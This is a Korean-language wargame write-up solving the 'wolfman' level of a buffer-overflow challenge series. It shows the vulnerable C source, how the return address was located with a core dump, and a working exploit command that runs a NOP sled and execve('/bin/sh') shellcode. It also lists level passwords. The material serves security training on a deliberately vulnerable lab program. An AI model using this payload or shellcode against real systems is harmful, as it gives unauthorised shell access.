login : orc
password : cantata
탐색전
cat wolfman.c
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
코드를 살펴보면 이전과 그대로 환경변수를 초기화하여 사용할 수 없고
buf의 크기는 40byte. shellcode를 넣기 적절하다.
main 함수에서 인자를 받으며, 이번에도 47번 인덱스(48번째 값)이 \xbf이어야 한다는 것으로 return to shellcode 해야겠다. 라고 생각했으나
buffer hunter에서 buffer을 0으로 초기화 하는 것을 보고 어쩌지 고민된다. 그래서
ret뒤 쪽, 그러니까 main 함수의 스택 프레임을 벗어나서 그 아래 쪽(주소가 큰 쪽?)으로 충분한 nop와 shellcode를 삽입하고
적절한 부분으로 return address를 바꿔야지 생각했다.
cp wolfman mylfman
ls -l
풀이
이제 본격적으로 buf와 ret등의 주소를 알아보도록 하자. 그러기 위해서 그냥 core dump를 일으킬 것이다.
47byte를 A로 채우고 48번째에 \xbf를 넣어본다.
0xbf414141이 들어가 있는 0xbffffafc가 ret이라는 것을 알 수 있고 0xbffffaf8은 sfp일 것이다.
이로부터 40byte전인
0xbffffad0가 buf의 시작주소일 것이다.
여튼 ret는 0xbffffafc이므로 그 뒤에 주소인 0xbffffb00로 ret를 바꾸고 nopsled를 통해 shellcode를 삽입해보자.
계속 ret에 가까이 주면 안되길래, 그냥 좀 멀~~리 ret를 설정하고(0xbfffff0) nop를 크게 주었더니 이제야 된다. 왜지??
./mylfman $(python -c "print 'A'*44+'\xf0\xfb\xff\xbf'+'\x90'*1000+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' ")
mylfram이 되니까 wolfman도 해보자.
./wolfman $(python -c "print 'A'*44+'\xf0\xfb\xff\xbf'+'\x90'*1000+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' ")
아니 자꾸 wolfram alpha랑 헷갈려서 wolfman을 wolfram이라고 한다... ^^
love eyuna
짜잔~